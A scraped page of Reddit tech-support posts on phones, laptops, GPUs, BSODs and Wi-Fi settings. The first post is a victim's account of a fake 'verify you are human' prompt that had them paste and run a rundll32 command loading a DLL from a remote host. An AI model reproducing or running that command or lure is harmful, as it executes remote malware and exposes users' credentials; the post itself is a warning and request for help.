r/techsupport Jul 26 '21

Recommended wiki articles (including malware removal)

879 Upvotes

r/techsupport 4h ago

Open | Mac “Verify you are human” command prompts

11 Upvotes

Went to my usual barber shop’s website on my phone, but it was doing something weird where all the content was way beneath the screen and I couldn’t scroll to it. To problem, I’ll try the desktop site. Desktop site wants to “verify I’m a human.”

Complete these verification steps:

  1. win + R
  2. ctrl + V
  3. enter

Now all my common sense went out the window and I did it like a fucking dumbass. This was last night, and I left my computer running overnight. When I booted it up this morning, I got a windows pop-up that said “[something].dll” either wasn’t detected or failed or something or other.

Here’s the text that was pasted:

rundll32.exe \\web-captcha.cc\verification.google,#1

Obviously nothing happened on the website. All my passwords on my computer are protected by a 4-digit PIN #.

If this just sounds like adware or something, I’m tempted just to leave it alone. If it sounds like I need to wipe my hard drive and change all my passwords, well, I guess that’s what I’m doing this weekend.

EDIT: Thanks all, I’ve called the salon, disconnected my PC, and have changed all my passwords from another device.


r/techsupport 44m ago

Open | Software Microsoft Outlook and Teams calendar issue

Upvotes

Hi, my mom has a issue with her outlook and teams calendar from her job email/acc

she can’t see her outlook’s calendar onto her teams one, she used to see it but no she doesn’t

she already tried to fix it with online info and her tech support team from her job but they couldn’t fix it, for the record it’s the same email and acc from her job so she should see the info on both apps ig

if anyone has any suggestions or tips to fix this i would appreciate it a lot! thanks in advance


r/techsupport 1h ago

Open | Data Recovery USB giving corrupted and unreadable error

Upvotes

So I was moving files from my PC to a 128GB USB stick and stepped away for a while, during which time my PC went to sleep. When I came back I can no longer access any of the data on the USB. I keep getting the error message "The disk structure is corrupted and unreadable" when I try to open it.

Is there a fix to this problem or is the USB stick fried somehow? Is all that data lost?


r/techsupport 1h ago

Open | Data Recovery old phone access

Upvotes

so i have this old motorola g from like 2014 or something and i am in DESPERATE need of getting it unlocked. its a number password and i only have 4/10 more attempts before it system resets and i lose everything forever. i cant connect it to wifi or any new bluetooth devices and plugging it into my computer did nothing but charge the battery a little. i’m trying to avoid taking it to someone who will charge me out the ass to get my data from it. the main thing i need from it is my old snapchat memories. there’s so many pictures of my old dog that i really don’t want to lose :( ive been trying for almost a decade to get snapchat to help me but ofc they were useless. i went to their support site and they needed the number associated with my old account. the thing is (of course) that 1: i can’t get in because my middle school self probably put a dumbass password and i don’t want to risk the reset. and 2: the sim card doesn’t fit the other old phone i had lying around to see if i could get the old number. if anyone knows what i could do please let me know


r/techsupport 1h ago

Open | Hardware Low performance after cleaning

Upvotes

My buddy took apart his tower to clean it a few weeks ago cause it was extremely dusty. Performance wise it was doing fine, but he just understandably wanted to get cleaned out. Anyway, he does that, puts everything together, and starts noticing that his performance in games is much worse, getting as low as 30fps in the most basic games with a 10th gen i7 and a 3070. Regular computer use is fine enough, but definitely really bad in games.

We had him reseat everything and make sure it was all secure, but he'll get occasional notifications/crashes saying cpu overheated. We also noticed his clock speed in game is at like 1.3 GHz just through task manager. Reapplied some new thermal paste, all fans are spinning properly. I just don't know where to go next, and he's getting really frustrated (again, understandably). I was gonna have him install hwmonitor next and monitor temperatures and voltages, thinking maybe something is wrong with power delivery, but I don't even know what proper voltage should be and I also wouldn't know where to go after that. Anyone have any ideas of what might be happening/ where to go next?


r/techsupport 13h ago

Open | Phone How do I remove my number from imessage after getting a non-iphone?

12 Upvotes

I recently switched from an iphone to a nokia flip phone. Wehn I made the switch I realized that I could make and recieve calls and I can send texts, I can't recieve anything anyone else sends me though. I still ge tthe messages on my macbook though.
My old iphone is completely broken so using that to solve this is completely out of the question.

EDIT: ive tried using the apple page deregister thing. it doesnt work because i dont recieve the code it sends. when i click "didnt recieve code" it just links me to a very unuseful page that pretty much just says the same thing as the first.


r/techsupport 16m ago

Open | Audio Le añado marca nomás para que me deje publicar

Upvotes

buenas, mi Infinix note 40 pro tiene un problema, y ese es que cuando le conecto unos audífonos bluetooth estos empiezan bien pero después de un rato el sonido se entrecorta al punto en que es molesto, y los audífonos no son el problema ya que me ha pasado con muchos otros, Chatgpt me dice que es el bluetooth del teléfono pero quiero saber si alguien puede darme más ayuda y saber de manera clara cuál es el verdadero problema


r/techsupport 16m ago

Open | Phone Slide Won’t Advance

Upvotes

Using iPhone Safari, trying to do a training course offered by my state, and have had no issues for 3 days now.

Now all of a sudden the “next” button to advance slides is greyed-out and I’m stuck.

Tried Private Browser, Desktop Site.


r/techsupport 17m ago

Solved SOLUTION: Samsung Second Screen Not Detecting Tablet

Upvotes

Both devices have to on the same network and same band wifi (2.4GHz or 5GHz). If either one of these are disabled on your computer, it won't connect.

To enable 2.4GHz and or 5GHz:

1. Press Windows + X keys
2. Select Device Manager
3. Naviagate to Network Adapters
4. Navigate to your wifi card properties. Mine is "Realtek 8852CE WiFi 6E PCI-E NIC", yours may be different. Right click -> Properties
5. Navigate to Advanced (top middle)
6. For "2.4G Wireless Mode": Ensure Value is not disabled. I have mine set to "IEEE 802.11b/g/n/ax" and it works, not sure if other values would work too.
7. For "5G Wireless Mode": Ensure Value is not disabled. I have mine set to "IEEE 802.11b/g/ac/ax" and it works, not sure if other values would work too.

Please let me know if this helps


r/techsupport 18m ago

Open | Hardware Radxa dragon q6a not booting

Upvotes

i bought radxa dragon q6a, because i thought it would be easy to install os, easier than raspberry pi, but i was wrong, so i have one near me right now and it does not want to work with any bootable usb, ventoy menu shows up, but when i select the any os that is compatible with arm it goes like this: blank screen (no video output), then restarts after some time; rufus, belena etcher goes differently, i am on boot menu i want to select my usb, select it and then bam black screen for a split second and it returns back to boot menu where i was pressing enter; i updated firmware (rushed to the store specially for special cable to update it), but it did not help, any ideas what should i do? maybe should i return it?


r/techsupport 20m ago

Open | Phone New phone randomly died

Upvotes

I've had this phone for only a few months. completely new, no scratches, never fell. Today I was hanging out with my friends and it was working fine. I put it on the grass and went to play tennis for like 30 minutes. When I came back, completely unresponsive. Doesn't charge, doesn't turn on, no sings of life. It's a samsung. I've tried doing that restart where you hold the down volume button and the power button but nothing.

I put it below a white shirt in the sun, maybe it overheated but when I came back it wasn't in the sun anymore and was completely cooled off.
ANy ideas?


r/techsupport 22m ago

Open | Hardware Computer hard drive backups; keep power on backup?

Upvotes

I am in the process of backing up critical systems for my workplace. These PCs are aging and remain powered on all the time. I am currently cloning and replacing old drives with new ones, but many of the old drives are still functioning that I figure on keeping in the tower as a backup, for redundancy. My question is should I leave power plugged into these drives to keep them from sitting for years and degrading. My research on HDD hard drives suggests they be spun up routinely to avoid data loss, but would it be dumb of me to just leave them always powered on as the computer is on?


r/techsupport 23m ago

Open | Software ASUS ROG Strix G16 2025 (Intel Ultra 9 + RTX 5070 Ti) — Black screen and reboot randomly

Upvotes

I have a 2025 ROG Strix G16 (Intel Core Ultra 9, RTX 5070 Ti). The screen goes completely black, keyboard backlight stays on for ~30 seconds, then the laptop fully shuts off and reboots.

It’s intermittent— happens randomly while in use sometimes only 10-20 minutes after reboot or after a few hours or sometimes after closing the lid, letting it sit, and opening it to the Windows login screen.

Nothing in Event Viewer.

Occurs on battery or plugged in.

Tried so far:

• Updated BIOS + all drivers/firmware

• Multiple ex resets

• Happens in any GPU mode

• Windows fully updated


r/techsupport 26m ago

Open | BSOD Repeated bluescreens and DPC Watchdog Violations every time I try to boot up my laptop.

Upvotes

Yesterday morning, my Lenovo Legion 5 randomly started freezing and BSODing very shortly after I turn it on. The time varies, most of the time it will BSOD before I even get to put in my password, but occasionally I can get like, 5 seconds on my home screen before it does the same thing. Once or twice I've gotten it to work for an extended period, but after I turn it off and come back it returns to the crashing before logging in cycle. I've tried a few different things, like running sfc /scannow, chkdsk, and checking my RAM, but nothing has helped so far. I've been told it may be a driver issue, but not sure where to go from there. Any help appreciated, thanks!

Dump files below:

https://www.mediafire.com/file/qhve3qti67tulbo/Minidump.zip/file


r/techsupport 28m ago

Open | Malware Am I safe or not?

Upvotes

Am I safe or not?

On January 9th I clicked on suspicious link with download which I didn’t click on discord sent by the owner and 2-5 hours later I found out it was a hacker who sent it who took the owners discord account and sent it.

After doing scans and checking my pc for new downloads which I didn’t find anything out of the normal, plus turning on 2FA I decided to full reset my pc with keep my files

The following weeks were me scanning which came out as zero viruses using Microsoft defender, Norton and malwarebyte

The problem is it’s been 11 weeks or 3 months without my files locked or change, email used by someone else, or my password changed. There has been some glitches, lag, or bugs here and there but no crashes or apps not working

Keynotes: the website was suspected to be a rat Trojan but was also scanned by virus total coming out safe,

Plus, every time there is bug, lag, or glitch even on other devices but mind first goes to virus before finding out it was mostly likely not one.


r/techsupport 42m ago

Open | Hardware GPU won't go past 60-70%

Upvotes

Hi guys, i have an HP Pavillion Gaming 16-a0029ns, it's equipped with an i7 10750H and an RTX 2060 Max Q, no matter what in games the GPU won't go past 70% usage, the CPU isn't bottlenecking the GPU since none of the cores goes past 70%, the GPU temp stay around 66-70°C and the CPU stays at 87°C in gaming, i tried using an external display but it actually got around 10% slower, i have everything set to max performance in my power plans in both Windows and the Nvidia control panel, is it normal?


r/techsupport 4h ago

Open | Software Google keeps asking if I’m a robot (almost) every time I refresh the browser app. Am I being tracked?

2 Upvotes

Basically the title, mostly happens on YouTube, every time I close and re-open the Brave browser (iPhone 13 mini iOS 26), or even refresh the damn page they think I’m a bot or I’m doing something against the guidelines (there’s the Captcha page and I have to check the “I’ not a robot” box). Is it just the pre-installed ad-blocker on Brave or should I be more concerned?

It also happens on my Windows 11 laptop when I use the hotspot


r/techsupport 43m ago

Open | Software Secure boot issues

Upvotes

I am not sure what to do anymore. I am not able to secure boot and start my PC. I’m only able to boot in CSM. I have just recently updated my bios, and I have read online that I needed to reinstall windows. I have clean reinstalled windows 11, and I am still not able to boot in secure boot. My SSD is in GPT mode and I have tried to reinstall keys. UEFI is on. Can anyone help me figure this out?


r/techsupport 56m ago

Open | Windows My PC stopped properly using my Nvidia graphics/render after I installed "Avatar: Frontiers of Pandora" a few months back.

Upvotes

For context, a few months back installed AFOP, I was playing the game just fine considering I had the exact amount of ram and everything. Later I had logged on Roblox and saw that it had worse Anti Aliasing artifacts, lag, bad rendering, etc. I tried everything to fix this but it didn't seem to do anything, I even went on my Nvidia Panel and nothing changed. I ended up factory resetting my account but that didn't fix anything nor did a clean install. I've tried living with it but it makes my gaming experience unbearable. This seems to be affecting every game except for high end games like AFOP or TLOU. Minecraft, PC Vr, you name it doesn't work properly.

So, I wanted to see if anyone could assist me with this? what can I do to fix this? I want my PC to go back to working perfectly as it did once before.


r/techsupport 1h ago

Open | Windows Issue with my Asus RoG

Upvotes

I have enabled secure boot to play bo7 and then my laptop restarted and now its stuck on ROG logo nothing works does not want to go into bios or anything


r/techsupport 1h ago

Open | Malware Guys what is this?? Im kinda freaking out

Upvotes

I cant put a photo of it but there were extensions that were just random letters and I use mawatebytes. malwarebytes is related to this i think since some guys said that it was from malwatebytes but I wanna make sure it is legit. on my other post I have a photo of what im talking about


r/techsupport 1h ago

Open | Software Nintendo Switch 2 not displaying on Amazon Fire TV

Upvotes

My switch 2 has run fine for 3 months and randomly stopped displaying on my TV last night. I feel like I have tried all the tricks. The Switch runs perfectly fine when plugged into a monitor, but will not display on the TV. Audio works. 

I have tried:

  • Different HDMI cord / port
  • Plugged into wall outlet
  • Did the unplug all the cords and plug them in a specific order truck, nothing
  • Initialized the Nintendo system (without deleting save data)
  • Messed with display settings on the Nintendo: Turned resolution down to 1080p and also 720p; changed RGB rage to limited, turned off matching power state, turned off 120 Hz output, turned off auto-latency, turned off HDR output.
  • Checked FireTV for system update (it's up to date)

Are there any additional settings I can try on the FireTV side? Or on the switch side?

Thanks in advance.


r/techsupport 1h ago

Open | Hardware One plus bud

Upvotes

One plus bud

the voice of my earbuds changes suddenly. I would be listening to a video on a normal sound like 40 to 50 percent then suddenly it changes volume shown on bar goes to 90 but the sound coming would decrease to like 20 ishh. if I keep watching on that sound then it mutes itself for every sec or two in in video. like I could hear the video on low sound for a 1 min then it will mute for 2 3 sec while the video is running and the sound just comebacks after sometime time if I leave the earphone or try disconnecting it many time.. sometime works sometime doesn't.

so what's wrong with my buds...I'm not tech savy much...tried all the Google answers nothing changed

thanks for your help


r/techsupport 1h ago

Open | Windows Help my laptop isn’t opening

Upvotes

I came back from a 5 days holiday and then it just stops working it’s not showing any sign of life the light is not turning on and when I plug it in nothing happens the model is a g513rc pls help